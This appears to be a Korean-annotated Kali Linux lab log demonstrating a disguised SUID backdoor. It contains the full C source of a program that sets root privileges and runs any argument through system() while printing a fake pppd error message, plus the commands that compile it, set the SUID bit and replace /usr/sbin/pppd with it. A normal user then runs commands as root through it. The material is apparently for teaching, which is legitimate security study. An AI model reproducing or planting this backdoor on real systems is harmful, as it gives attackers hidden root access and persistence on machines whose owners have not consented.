pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.
┌──(root㉿kali)-[/usr/sbin]
└─# cd /home/kali/LAB
┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c
#include <stdio.h>
int main(int argc, char *argv[]) {
char exec[100];
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
printf("pppd: The remote system is required to authenticate itself\n");
printf("pppd: but I couldn't find any suitable secret (password) for it to use to do so.:\n");
return 0;
}
┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor
┌──(root㉿kali)-[/home/kali/LAB]
└─# ./backdoor
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp /usr/sbin/pppd /usr/sbin/pppd.bak → 기존 파일 백업
┌──(root㉿kali)-[/home/kali/LAB]
└─# mv backdoor /usr/sbin/pppd → backdoor 파일을 pppd 파일로 덮어쓰기
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "whoami"
root
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "mkdir ./BACKDOOR"
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 40
drwxr-xr-x 2 root root 4096 Mar 29 04:22 BACKDOOR
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root 393 Mar 29 04:18 backdoor.c
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "id"
uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.: